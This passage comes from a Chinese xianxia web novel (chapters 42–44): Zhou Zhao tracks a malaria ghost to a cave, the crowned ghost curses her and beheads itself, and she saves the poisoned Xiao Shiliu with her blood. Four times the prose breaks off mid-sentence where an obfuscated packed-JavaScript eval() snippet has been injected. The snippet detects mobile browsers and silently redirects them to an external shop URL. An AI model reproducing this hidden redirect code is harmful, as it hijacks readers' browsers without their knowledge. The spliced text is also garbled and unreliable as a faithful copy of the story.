好在他们被绑起来时,没有把剑也一并剿了去,周昭也不啰嗦,从他腰间抽出剑来,应道:“走!” 周昭护着二人脚步匆匆往林间走去,这一路可谓畅通无阻,等走了百余步,周昭突然停下,道:“不对劲。” 谢景回过头,道:“阿昭,怎么了?” 不消周昭说,谢景也发现哪里不对劲了。他背着一个人本就走得不快,按理说疟鬼很快就能追上他们,但如今身后竟又空无一人了! 谢景自言自语道:“怪事!” 周昭摇摇头道:“我看不是怪事,也许是他们走路很慢呢?长淮,你有听说过疟鬼行动迟缓吗?” 谢景道:“没听说,这东西寻常人也不好见到吧。如果表哥醒着,说不定知道些。” 周昭心道:“如果十六在,肯定也知道。” 这是跟疟鬼第二次打照面儿,第一次周昭从天梯上掉下来,疟鬼竟能一只手就扶住半截天梯外加天梯上还有一个她。周昭心中惊骇,第一反应自然是逃跑。 第二次他们又被成群结队的疟鬼吓得不轻,想来这两次竟都没有好好观察过,传说中的疟鬼到底是什么样子。 周昭道:“我们太着急了,是与不是,看看就知。” 谢景没有反对,只是问道:“阿昭,你是说我们不跑了?” “先不跑了,这里瘴气蔽日危险重重,我们总不能一直逃,再说我们此行另外一个目的不就是要抓到疟鬼吗?跑也没用。” 谢景赞同道:“好,都听你的。” 他们先是将宁啻放在一个相对隐蔽的地方,然后躲在一旁静静地等着,过了不多时,果然又听见那阵沉重而又缓慢的脚步声传来。 是了,缓慢。 这是他们前两次都没有注意到的地方。疟鬼虽然身材高大,行动却十分迟缓,为首的那个就是刚才要抓住周昭的,他的手里还握着小半截天梯,那梯子是用巨木搭建而成,就连中间的横梁都有大腿粗,可他握在手中却十分游刃有余,好像拿着什么好玩儿的东西,在地上拖行出轰隆轰隆的声音。 此时离得近些,周昭才注意到他们头脸竟不像人皮,而是像一层厚厚的树皮般凹凸不平,那些密密麻麻的红色虫子就在这些沟壑间穿行蠕动,几只虫子正从他那双血红色的眼睛里爬出来。 “太恶心了!”谢景强忍不适,低声道。 “长淮,你有没有觉得,也许这些疟鬼对普通人确实恐怖,但对于我们,似乎并没有什么攻击力。” 谢景思索道:“没错,疟鬼最厉害的就是让疟虫吸取活物精魄血液,可我们掉进这里这么久,并没有疟虫靠近,师父给我们的清风露果然有效。” 谢景口中所说的清风露,正是江梅棠研制的,虽然无色无味,但疟虫闻到了只会觉得臭气熏天味同死尸,而疟鬼是只吃活物的,所以绝对不会靠近他们。 周昭点点头,道:“这样就好办了,我们——” 周昭话没说完,只觉眼前一个什么东西突然蹿出去了,她正欲发问,只听见那个“东西”喊道: “阿昭!不如我们一起杀掉疟鬼,为民除害!” 周昭:“......” “啊!!!” 谢景信心满满地冲了出去,然后以一个及其不体面的方式,被为首的疟鬼一天梯就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694772|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抡了回来。 “长淮!你没事儿吧?”周昭匆忙赶到他身边,谢景摸了摸胸口,只觉刚才那一下把他五脏六腑都打散了,但他是自己冲动跑出去,再痛也碍于面子强忍住,脸色铁青,答道:“没事儿。” 那群疟鬼本来走得极慢,离他们尚且有一段距离,此时突然停下,无不睁大眼睛左右张望,似乎在寻找刚才到底是什么东西偷袭。 谢景越想越气不过,索性大声骂道:“这东西不是行动迟缓吗?!本殿下还没靠近,他怎么发现的?” 话音刚落,疟鬼们齐刷刷地朝这边望过来! 周昭率先反应过来,一把捂住他的嘴,但已经来不及了。 只见成群结队的疟鬼们不约而同朝着他们的方向走来,更可怕的是,他们的速度好像突然之间加快了。先是大步疾行,后面干脆小跑了起来。一时间山谷中仿佛天塌地陷,脚步声震耳欲聋。 谢景扒开周昭的手,惊道:“见鬼了!” 周昭抓起刚才谢景被打飞的剑,抬手一指,道:“先往那边跑!” 无论如何不能让疟鬼发现宁啻。谢景心领神会,二人立刻起身往相反的方向跑。这回是真的逃跑了,身后的疟鬼不知道为何突然暴走,速度之快,彷佛刚才的行动迟缓都是伪装的一样。谢景和周昭越跑越急,但不管他们怎么跑,都无法甩开身后的疟鬼。 “阿昭!这到底怎么回事儿!” “我也不知道!总之,先引开他们再说!” “好!” 谢景边跑边回忆刚才到底是哪里出了问题,难道疟鬼是被他偷袭刺激到了?他正百思不得其解,忽然间,一棵参天大树轰然倒塌,还好谢景躲避及时,才没有被砸成肉饼。他愤愤道:“真是出门没看黄历!” 话音刚落,一个足有人脸那么大的蝎子从树干里面爬出来,高高翘起的蝎尾甚至有幼童小臂粗细。它先是后退半步,然后突然跃起,周昭叫道:“小心!” 谢景拔剑斩之,蹙眉道:“真恶心!” 蝎尾和蝎身断开,流出深绿色的液体。但更离奇的事,那只蝎子被斩成了两半,竟然还能活动,剩下的半截身体钻进土里不见了,只留下那根蝎尾。 周昭道:“这东西说不好有毒,长淮,我们不能再往前面跑了。” 再往前走就是密林深处,瘴气更深,遇到的毒物也会更厉害。谢景把剑上留下的黏液在树皮上蹭干净,回头道:“那怎么办?疟鬼追上来了。” “让我想想......”周昭道,“你刚才突袭时,疟鬼都没有看清你,却精准地捕捉到你的方位。刚才我们躲在草丛里面时,明明离得很近,他们却看不见我们,直到你大声说了句话,我们才被发现。是不是可以推测,疟鬼其实......眼神不好,听力很好?” “阿昭,你说得有道理。”谢景诅丧道,“怪我大意!我不应该那般冲动。” 周昭摇摇头,安慰道:“兴许开始疟鬼根本没发现过我们,一直是我小题大做了。” “既然他们眼神不好,我们想想怎么从他们眼皮子底下溜走?” “不,我们不跑了。” 疟鬼已经逼上来,没有时间可以再拖延了。 “长淮,我们抓鬼吧。” 42. 抓鬼 “抓鬼?” 谢景一听这两个字便眼神放光,浑身痒痒,他这一路实在憋屈,早就想将眼前这些东西除之而后快。他从怀里摸索出一只绣着海棠的锦囊,摸了摸胸口道:“还好还好,这东西没被那小妖女抢了去。” 可怜宁啻带的行李都被野人搜刮了去,这只海棠锦囊却是谢景贴身装的,才得以幸免。 谢景将那装着疟虫的琉璃瓶拿出来,谨慎道:“阿昭,这儿这么多疟鬼,万一我们要抓的那只不在里面,贸然将疟虫放出来,若是跟丢了,岂不是竹篮打水一场空?不如你拿着它,我来将这些鬼东西引开,届时你找到疟鬼再放出信号,我来寻你,如何?” “好是好,可是......” 谢景知道她在担心什么,不由分说地将琉璃瓶往她怀里一塞:“别可是了,等他们追上来我们一个都走不了,难道你信不过我吗?” 他冲周昭眨眨眼睛,将她往外推了推,复说道:“放心吧阿昭,我不会有事的。” 现下没有再给她多余的时间犹豫,这确实是最好的办法,周昭点点头,眸光同样坚定,应道:“好,那我去了,万事小心。” 周昭小心翼翼地打开瓶口,那只疟虫先是在瓶底绕了一圈,然后扇扇翅膀飞走了。他们二人紧紧盯着眼前发着红光的小虫子,再一眨眼间,那只疟虫果然绕过紧随其后的疟鬼向更前方飞去了。 周昭回头看了眼谢景,对方正将举起手中剑,长眉竖起,叫道:“小爷今天心情好,陪你们玩玩儿!” 轰! 他劈开一棵碗口粗细的大树,一时尘土飞扬,疟鬼们无不被这些的动静吸引,哇哇乱叫地扑将过来。 周昭乘势从侧方一闪而过,那只疟虫上下翻飞,她只得步步紧逼,若是在这林间跟丢了,再找回来几乎不可能。周昭跟了半炷香时间,突然觉得不对劲,前面的小东西就好像知道身后有人跟随,带着她在这地方东绕西绕,就是不肯再往前飞了。 难道疟虫还会护主吗? 周昭心下疑惑,只好放慢步伐,尽量轻些慢些不让疟虫察觉,但林间落叶缤纷,踩上去便会发出簌簌的响声。她眼底划过一丝懊恼,此时一阵微风吹过,树叶沙沙作响,掀起一股腥臭味儿直直地钻进她的鼻子里。 这味道实在难闻......周昭蹙了蹙眉,忽然心里一喜。 她足尖轻点,眨眼间,便飘飘然地落在离地面一丈有余的树干上了。 东南有风,正是好时机! 周昭眼神一刻也不敢离开那只狡猾的疟虫,风过而身动,谁还能辨认出是她在枝头穿行的声音还是风声呢? 果然,疟虫在原地转了几圈,又往后飞了几圈,像是终于确定甩掉了身后的麻烦,一头扎进密林。 越往前走,这林子越密,光线越弱,就好像本就没什么天光的树林突然间暗了下来。不过,这对周昭而言并不全然是件坏事,因为眼前越黑,疟虫的踪迹就越明显。 周昭正盯得眼酸,突然,那只疟虫的亮光竟在她眼前消失不见了! 周昭用力地揉了揉眼睛——遭了!什么也没有! 周遭漆黑一片,偶尔有不知什么鸟兽的鸣叫声传来,山林簌簌,月影憧憧,周昭莫名感到一丝心慌。 疟虫的踪迹遍寻不得,她思索片刻,只得从枝头跳下来。虽说周昭脚步放得很轻,但落下来必然会踩到枯枝败叶发出不小的响动,奇怪的是,她脚下却是软绵绵的,这让她落地几乎没发出多大的声音。 周昭睁着眸子,想看清到底踩在什么东西上面,可惜天色无光,什么也看不清,只好作罢。谁知她刚行了几步,前方似乎传来一声微弱的响动。 周昭停下脚步,又细细地听了一阵儿,确实有不大不小的声音在前面不远处,像是大型野兽的呼吸声,或是旁的什么…… 前面到底有什么呢…… 周昭摸了摸下巴,不由感叹自己真是蠢笨,疟虫不可能无缘无故消失,除非是它找到了自己的主人。 周昭手心出了一层薄汗,也幸亏脚下泥土松软,她几乎没有发出什么声音,便循着那喘息声来到了一个山洞面前。 眼前山洞似乎十分巨大,就好像一头蛰伏在黑暗中的猛兽,周昭只能依稀看清洞口的轮廓,至于里面有什么却是模糊不清的。 他们要找的疟虫主人十之八九就在里面,摆在周昭面前的有两个选择: 要么冲进去找到疟鬼捉来,要么在原地放信号等谢景和她会合。且不说晚一步,那只疟虫可能已经融进疟鬼的身体里难以分辨,万一疟鬼跑了,岂非前功尽弃? 周昭略一思索便拿定主意,她钻进山洞,十分小心地贴着洞壁走了几步,脚下绵软的触感和洞外并无二致。奇怪的是,这洞里似乎一点儿腥臭味儿都没有,反而有种诡异的......香味儿? 周昭转过一个弯儿,正准备从怀里摸索出一个火折子来,那只追寻许久消失不见的疟虫突然在她眼前出现。 不,不是一只。 而是一群! 这山洞并非只有一条通道可以一览无余,所以当周昭踏进这里时,并没有看到石壁之后那一群疟虫,等她眼睛适应了这里的黑暗,那密密麻麻的疟虫猝不及防地映入眼中时,周昭很难形容自己看到的一幕—— 地面每一寸土地都铺满柔软的兽皮,香味似乎就是从那上面散发出来的,洞穴并非封闭,天光从头顶一个挖开的洞口漏下来,细小的灰尘正肆意浮动。 可惜这里不见天日,只有一捧惨白的月光,落在正下方一个巨大无比的野兽头颅上。而头颅之下,端坐着一个石山一样高大壮硕的巨人,那双火炉般的眼睛正一动不动地盯着周昭,目光犹如两道烧红了的楔子。 那群疟虫正欢欣鼓舞地围着巨人打转,似乎每一个都在说着:主人,吃掉我吧!吃掉我采来的灵肉,吃掉我为您吸取的精血! 这就是她要找的疟鬼。 疟鬼她已经见过很多,唯独眼前这个,让她双脚都仿佛被钉在地面上不能移动的疟鬼,他竟然戴着一顶王冕! 而这顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704005|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王冕周昭再熟悉不过,纯金打造,前后一十六道玉石珠帘,华丽无比,当今天下只有一人能戴—— 那便是她的父皇,周朝天子。 周昭简直就要尖叫出来,她努力平复自己的心情,周氏祖先一统天下,将反贼驱逐北疆,这段历史人尽皆知,那只现在还硌得她腰侧隐隐作痛的玉石,突然浮现在脑海中。 周昭努力想回忆玉石的模样,上面到底刻着什么文字,却怎么也回忆不起来,因为眼前那位头戴王冕的疟鬼突然站了起来—— 他和别的疟鬼长得不一样。外面见到的疟鬼无一例外都散发出腐烂的腥臭,裸露在外面的皮肤也都呈现出病态的红色,或许也有那些在他们皮肉里爬进爬出的疟虫的原因,让他们看起来无比恶心。 但山洞里的这位,却好端端地穿着衣服,甚至没有难闻的味道,除了面容早已萎缩有些难看,周昭不觉得他和正常人有什么区别。 不,还是有区别的。 他的脖子处有一圈黑线,就好像这颗头是缝上去的。 周昭不得不佩服自己,事到如今还有心思观望疟鬼的形象,她屏住呼吸,情不自禁后退半步。 那双眸子流露出难以克制的欲望——那是对眼前活生生的食物的欲望。 周昭盯着那顶王冕,上面的琉璃珠子随着主人的起身颤动起来,她想到自己过世的王兄,心脏一阵紧缩,忍不住道:“为何害人?” 她说这句话纯粹出于面对凶手的本能,但她也知道疟鬼听不懂她在说什么,况且鬼吃人是本能,难道还指望对方给出一个回答吗? 对方将那颗似乎摇摇欲坠的头颅偏了偏,脖子发出嘎巴嘎巴的响声。 能听懂吗? 周昭皱了皱眉,警惕地看向越走越近的疟鬼,背后的手悄无声息地摸上后腰,那里藏着一把短而锋利的匕首。 周昭有把握在对方靠近她时将匕首刺进身体,并非周昭夸大,这是常年习武之人面对敌人本能的预判。疟鬼最可怕的武器是疟虫,抛开这个,再高大威猛,也只是一具早已死去很多年的半尸。他们没有思想,没有灵魂,有的只是作为狩猎者的本能。 但不知为何,周昭的眼皮突然开始狂跳起来。 她的手心出了一层薄汗。 周昭还是怕的。不要说杀人,周昭甚至从来都没有伤过人,而她下一刻很可能不得不把匕首捅进一个人——其实也不能算人——的身体里,实在不是件多美妙的事情。 疟鬼显然是很意外,自己的疟虫对周昭没有起到一丁点的作用,只是在周围打转,但他看起来很快接受了这件事情,高高地扬起右手,似乎准备就这样把面前这个只到他腰间那么高女娃拍进土里。 ——就是现在! 周昭抽出刀,利刃在黑暗中擦出一道亮光。其实她脑子里十分混乱,但出于对生的本能还是让她看上去从容不迫地将匕首举起。 不过下一刻,老天同周昭开了一个很大的玩笑—— 她手腕一软,哐当!匕首掉落在地。 43. 断头 周昭闷哼一声,不仅是握刀的手腕,浑身都突然间被抽干了力气,双膝一软,跪倒在地。 地面上的兽皮不断放大,仿佛面目狰狞的人脸,那股诡异的香味扑向面颊,直冲天灵盖。 不好!她竟毫无察觉这香气会使人浑身酸软无力,但此时再捂住口鼻显然太迟了。 疟鬼满意地点点头,大手一伸就要来抓她。这山洞并不平坦,周昭借着地势就这么一滚,对方似是没料到到嘴的食物还想跑,短暂地愣了片刻。 不行,香气太浓了...... 虽然周昭刚才瞅准时机把匕首捡了回来,但她身子发软,头晕脑胀,无论如何,是不可能把这东西用在疟鬼身上的。 不过—— 周昭心念一转,毫不犹豫地在胳膊上划了一刀。 都说周家的血了不得,周昭从前不以为意,当下却无比希望所谓人皇血脉,真有说的那么神奇。疼痛立刻从伤口处蔓延开,周昭的思绪短暂地清明了一瞬。谁知,本来离她还有一段距离的疟鬼突然暴走,三步并两步跑过来,像拎小鸡似的掐住周昭后颈,往墙边狠狠一贯。 砰! 他目光凶狠,全然不似方才的平静,就连喉咙里也发出嘶嘶的低吼,好像如临大敌。 周昭被这一下摔懵了,就算放点血不能去毒,也不至于……! 她的眼睛骤然睁大,左臂突如其来的剧痛让她忍不住仰起头,发出一声痛苦的低呼。疟鬼埋首在周昭左臂,尖利的牙齿毫不留情地刺进皮肉,活脱脱是一匹几天没吃过饭的恶狼。 难道我今天就要死在这儿了? 血液流失的速度是很快的,周昭开始感到寒冷,不知道是那香气的缘故,还是她快要失血过多而死,眼前开始阵阵发白。 周昭突然想起师父江梅棠,在她毅然决然离开盛都时,对方那双一贯冷静自持的眼睛看向她,问她:明鸢,你想好了? 那时周昭不懂江梅棠欲言又止的神情,和这句话背后的深意,难道师父算到了她会死在这样一个肮脏阴暗的山洞里吗?以这样一个屈辱的方式死去? 明鸢,你想好了吗? 明鸢,你想好就这样死去了吗? 明鸢…… 周昭咬紧牙关,从腰间吃力地摸索出一枚信号弹。疟鬼喝血喝得正欢,全然没注意周昭的动作,等他发现时,信号弹已经从周昭手中被丢了出去,发出嘭!一声巨响。 如果幸运的话,谢景说不定能看到她的求救信号;如果不幸,说不定她根本没能将信号弹从天窗扔出去。 不过周昭对谢景能及时来救她这件事,并没有报多大希望,因为她本来也不是这么打算的。 疟鬼对声音很敏感。 显然,就算眼前这只不知道撞了什么邪,一直要喝血的疟鬼也是一样——他被信号弹的声音吓了一跳,掐住周昭的手也松动些,而就是这一愣神的功夫,疟鬼的胸口突然传来异样,低头一看,明晃晃的匕首正缓慢地刺进他的胸口。 “......我不会死的。”周昭喃喃道。 若洞中再明亮些,就能看到周昭的手其实在抖,近乎惨白的脸上布满汗珠。我不会死!她将匕首又往前送了些,随即屈起双腿狠狠一踹! 周昭当然不会这么蠢,妄想自己踹一脚,就能把体型比她大了不止一倍的疟鬼踢翻,她不过是借着这道力使自己摆脱疟鬼的控制。事实证明,她成功了。 周昭借力向后一翻,手脚并用地爬起来,摇摇晃晃地向着洞口走去,心中竟然开始有不切实际的幻想——如果谢景此刻赶到,定能将疟鬼生擒。她头晕眼花,却还想着怎么抓疟鬼这件事。 疟鬼没料到周昭会来这么一手,转动僵硬的头颅,看了看自己的胸口,然后将小得可怜的匕首毫不费力地拔出来,那里一丝血也没有,就好像插进了一个空荡荡的黑洞。 周昭哪敢回头,她一刻不停地往前走,直到匕首落地,在空旷的山洞里发出清脆的一声。 但让她停下脚步的不是这个。 “……我诅咒你。生,众叛亲离;死,永世堕鬼。” 在那一瞬间,仿佛浑身的血液都凝固了,周昭难以置信地回过头,对方的嘴角还残留着她的血液,阴恻恻地冲她露出一个微笑,然后以迅雷不及掩耳之势,抬起右手,朝自己的脖颈劈下去! 咔嚓! 周昭就这样眼睁睁地看着疟鬼的头颅掉下来,剩下的身体直挺挺地倒下去,倒在那一片血泊中。那颗头一直滚啊滚,一路滚到她脚边然后停下,可他的嘴巴仍在一张一合:“周氏,我诅咒你......” 很难形容这幅画面有多惊悚。 周昭想抬脚走开,但她浑身动弹不得,彷佛被定在原地,看着那颗头颅一遍又一遍重复着那句恶毒的诅咒。周遭什么声音也没剩下,只有疟鬼低沉的声音不断回响。起初只有一个人的声音,后来是数十个、上百个人的声音,男男女女,重复着,交织着—— “众叛亲离......” “永世堕鬼......” ...... 周昭感觉自己掉进了地道中的水下漩涡,仿佛有千万只无形的手将她不断地往下拽,灭顶的水流将她淹没,她感到寒冷、窒息,拼命想露出水面,却被扯进更深的漩涡,一滴血掉进来,随后无数的鲜红色在眼前蔓延、扩散…… “殿下?殿下!” 周昭木讷地回过头,对方轻轻摇晃着她的肩膀,他的嘴巴也是这样一张一合,周昭沙哑着声音问:“为什么?” 周昭根本没发现自己在流泪,断断续续的词句传进她的耳朵里,好像有人在说这里马上就要塌了,然后周昭感觉身体一轻,再睁眼已是洞外。 她好像睡了一觉,做了个不太愉快的梦,又好像没有。等她清醒时,周身的酸软已经消失,左臂的伤口也被包扎得很好。 “醒了?” 这声音并无多少温度。 周昭费力地抬了抬眼眸,先是看到一双匀称修长的腿,紧跟着那双黑靴在她面前停下。随后一双黑亮的大眼睛猝不及防地出现在她眼前,那双黑靴的主人被这么一挤,缓慢地抬脚站到一旁去了。 周昭看清来人,喜道:“长淮?” 谢景满眼担心道:“总算是醒了,吓死我了!” “阿鸢,你这是怎么搞的?你不知道我们找到你时,那个血流的吓死人了!” 这位说话的自然是宁啻了,其实他是最搞不清楚状况的人。好在他只是被吊了一天体力不支,又被疟鬼吓得不轻,醒过来便没什么大碍了。 谢景闻言反驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710439|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“表哥,什么叫‘我们’?明明是我先找到,然后带你过来的好不好?” 还有心思拌嘴,看来都没受伤。周昭看见眼前他们两个生龙活虎,紧绷着的情绪一瞬间放松下来,嘴角扯出一个微笑,道:“我没事儿,谢谢你们。” 周昭说完这句话,视线不由沿着那双久违的黑靴一路看上去,对方还是那副漫不经心的模样,双手抱胸靠在一根树上,嘴巴里叼着跟不知名的野草。 “……十六,你……没受伤吧?” 萧十六挑了挑眉,没说话。 其实要谢景来说,他是看不惯萧十六这个人的。 傲慢,刻薄,最重要的是——危险。 但不可否认,是萧十六救了周昭。天知道他有多么不想回忆起刚赶到这里时看到的画面,这个人抱着阿昭,浑身是血,谢景差点以为…… 所以他此刻并没有“出言不逊”,只是仔细看了看周昭的伤口,心想那小子包扎的还算不赖。 “等等!”周昭突然抓住他的胳膊,语气中透出不加掩饰的紧张,“长淮,疟鬼呢?” 他们此行费了这么大的周折就是为了抓疟鬼,可不能被他跑掉!她记得刚才疟鬼在吸血,然后她放了信号弹,刺了疟鬼一刀,接着...... 接着疟鬼把自己的头劈掉了?! 谢景见周昭脸色不大好,话还没说出口,那个他极为不喜的声音自头顶传来,萧十六说道:“喏,头在那儿。” 他又抬手一指:“身子在那儿。” “阿昭,快说说你怎么做到的?”谢景兴奋道,“竟然把疟鬼的头斩下来了!要是师父知道,肯定会夸你的,不过你也太鲁莽了,说好的先放信号,怎么一个人先出手了,还好你没事儿,万一有个三长两短的,师父一定会打死我的!” 谢景絮絮叨叨说了一长串,宁啻眉毛微不可查地向上挑了挑,周昭则一个字也听不进去,只觉得脑子里嗡嗡作响,疟鬼就这么死了?那盛都几千条人命怎么办? 周昭不由道:“他......死了?” 谢景一愣,旋即哈哈大笑起来,本想拍拍她的肩膀,又怕碰到伤口,于是作罢,神采飞扬道:“阿昭,你在担心这个啊,他没死,放心。” “没死?可……” 谢景抢道:“你是说他的头?那可是鬼,早就死过一回了,掉个头有什么关系。不过,我看没有头也够他受得了。他现在一分为二,想跑也跑不了,只能乖乖跟我们回盛都啦!” 谢景那时看到信号弹,马不停蹄地往周昭这边赶,但紧随其后的疟鬼群实在难缠,他费了好一番功夫才把他们甩掉。等他赶到时,那个“危险分子”正抱着周昭走出来,对方一言不发将一个什么东西扔给他,谢景接过手才发现是个人头,还是疟鬼的人头! 谢景手一软,对方毫不客气地命令道:“身体在里面,你要是想救人,就自己去拖出来。” 谢景憋着火没处发,对方又道:“顺便提醒一句,山洞快塌了。” 这大概就是事情的全部经过,谢景费了九牛二虎之力,才赶在山洞崩塌前,将疟鬼剩下半截儿运出来。他站起来,走到那颗头颅面前,为了给周昭展示,他左右各踢了一脚,叫道:“老兄!醒醒!” 果然,那颗头颅缓缓地睁开眼睛。 44. 中毒 谢景冷不防被吓了一跳,却并没有表现出来,眉飞色舞道:“看见了吧,阿昭,这东西还能用。” 周昭这才注意到,疟鬼身体部分是被绑起来的,她的视线落在那双睁开的眼睛上,奇怪的是,这好像跟她在洞里看见的有什么不一样,具体是什么她也说不上来,只是觉得有点......怪怪的。 那双眼睛什么情绪也没有,被谢景踢了两脚也毫无波澜,宁啻也是第一次见,好奇地跟着谢景左瞧右看,时不时还拿手摸上一摸,只有萧十六安安静静地站在离疟鬼很远的地方,似乎对他们这种行为并不是很赞同。 周昭忍不住道:“好了长淮,别玩儿了。” 谢景收了动作,继续追问:“对了阿昭,你还没说你怎么把他的头砍下来的?” 此言一出,不光宁啻,就连一直充当透明人的萧十六,也带了几分好奇的目光转过来。 周昭定了定心神,摇头道:“不是我。” “啊?”谢景嘴巴大张,好半晌才慢慢合拢。他第一反应是周昭好歹是个女孩子,不好意思承认割头这种看起来有点残忍的事情,但很快谢景就否认了这个想法。周昭是跟他一起长大的,行事果断,爱恨分明,丝毫不逊于男儿,不会在这等事上扭扭捏捏。 可山洞里只有周昭和疟鬼,不是周昭做的,难不成那头好端端地长在疟鬼身上,自己掉下来了? 不,最初山洞里是只有周昭和疟鬼两个的,但他赶到时,不是还多了一个人吗? 谢景把审视的目光落在萧十六身上,对方懒懒地斜了他一眼,似乎不打算开口回应他的审视。 “我知道你们会觉得很离奇,但......”周昭停顿了一下,继续道,“他的头——真的是自己砍断的。” “什么?!”谢景和宁啻异口同声道。 周昭也很无奈地点点头,表示她也不清楚到底是怎么一回事。 萧十六虽然有一丝惊讶,但很快找到了问题的关键,问道:“小殿下,他在折断自己的头之前,有没有什么异常举动?” 这句话猛地将周昭又推进了那个漆黑幽暗的山洞,她想起来那个梦了,不,也许不是梦。她的耳边萦绕着成千上万句忽远忽近的喃喃低语,每一句都在重复世间最恶毒的诅咒。 “小殿下?” 周昭回过神,勉力一笑,回答道:“刚走神了,不好意思。” 萧十六盯着她的眼睛,片刻后移开目光,语气平淡道:“我想,兴许是疟鬼想以这种方式触发什么禁制……” “譬如山洞坍塌?”谢景抢过话头,头头是道地分析起来,“这是要同归于尽啊......” “也不一定吧?”宁啻一直不曾开口,听到这里忍不住道:“同归于尽,只存在于双方一时难以分出高下的情况,绝大多数是由弱势的一方做出的极端行为,可是这鬼身上并无伤口......” 他是想说疟鬼除了断头,身上根本没有任何伤口,不可能在局势一片大好是因为,选择同归于尽这么愚蠢的方式。谢景投以赞许的目光:“表哥,没看出来你脑子转得还挺快的啊。” 周昭道:“或许不是为了杀掉我,只是为了毁掉山洞。” 谢景道:“只是为了毁掉山洞?” “不错。” “我说,你们打算什么时候离开这鬼地方?”萧十六不耐烦道,“再不走,疟鬼很快就会找到这里。” 这句话点醒了众人,现在毕竟还是在别人的地盘,当务之急是赶紧带着战利品跑路。于是,出奇的没有一个人提出反对意见。谢景虽然嘴贫,但干起正事来毫不马虎,他拿出早已准备好的缚灵袋——不必说,自然是江梅棠给的——将疟鬼打包装进去。 为了安全起见,他特意用了两个,一个装头,一个装剩下半截身体。 谢景看看宁啻,恨铁不成钢,转向萧十六道:“喂!帮我把这东西抬起来。” 萧十六瞥了谢景一眼,散漫地走过来帮忙。 装完疟鬼,谢景掏出帕子擦干净手上的秽物:“呼,累死本殿下了。喂,你要不要擦擦——” 萧十六突然闷哼一声,捂着胸口吐出一口黑血。 “十六!你怎么了?”周昭大惊失色。 谢景的手还在萧十六肩膀上搭着,同样骇道:“我、我什么也没干!”他手忙脚乱地作势就要用帕子去擦萧十六唇边的血,对方有气无力地推开他道:“什么脏东西!” “哦哦,抱歉抱歉!”谢景连忙跟周昭扶着萧十六坐下。宁啻看了看那滩黑血,皱眉道:“这是中毒了。” 周昭道:“疟鬼的毒?可是明明咱们一同服了清风露,怎么——” 周昭话没说完,眼尖地看到萧十六左手整个乌青发黑,肿得老高,急道:“十六,这是怎么回事儿?” 萧十六背靠着大树,半睁着眼,云淡风轻道:“不妨事,被毒蝎子咬了,我......咳咳!” 说着又咳出几丝黑血。 周昭探了探他额头,急促道:“烧得这样厉害!还说不妨事。” “不妙,师父给的丹药全没了......”谢景虽然对萧十六有成见,却不是忘恩负义之人,摔了包裹,恨恨道,“定是被那小妖女拿走了!” 萧十六面色苍白,边咳边道:“你们快走吧,等疟鬼来了,都走不了。” “说什么话!”周昭脑子里一团乱,目光落在地上那滩黑血上,突然灵光一现,“我有办法了!” “什么办法?”谢景两兄弟异口同声道。 周昭不答,抽出剑利落地在掌心划了一道血口。 “阿昭!” “这是——” “不必说了。”周昭扶着萧十六坐起来一点儿,将血淋淋的手掌举到他唇边,认真道,“倘若上苍有灵,烦请见证,我周昭心甘情愿以我血救人,若有半点不诚,甘受天谴。” 萧十六眼中闪过一丝微不可察的悸动,如果再往那双眼睛深处看去,似乎还有些不可言状的犹豫,不过仅仅是像一簇微小的几乎看不见的火苗,转瞬便被那古井般幽深的眸光吞没了。 他声音略哑:“殿下,你......” “哎行了行了!快喝吧我的十六叔!”谢景看得心焦,一把抓住周昭的手,将血灌入萧十六口中,“都说这血金贵,一滴都不能浪费了。” 喂完了血,周昭又在萧十六伤口处涂抹了一些。众人惴惴不安,尤其是谢景跟宁啻,蹲在一旁眼睛眨也不眨地盯着萧十六,想要看看传说中的神血是否真如此厉害。 也许上苍果真听到了周昭的祈愿,约莫小半个时辰,萧十六悠悠转醒,脸色果然好些。 “真神了!”宁啻兴奋道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715407|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧十六嘴唇微动,竟难得说了句中听的话:“小殿下,多谢了。”不过他正经不过一刻,便转向谢景道:“还有你,我的好侄儿。” “你!” 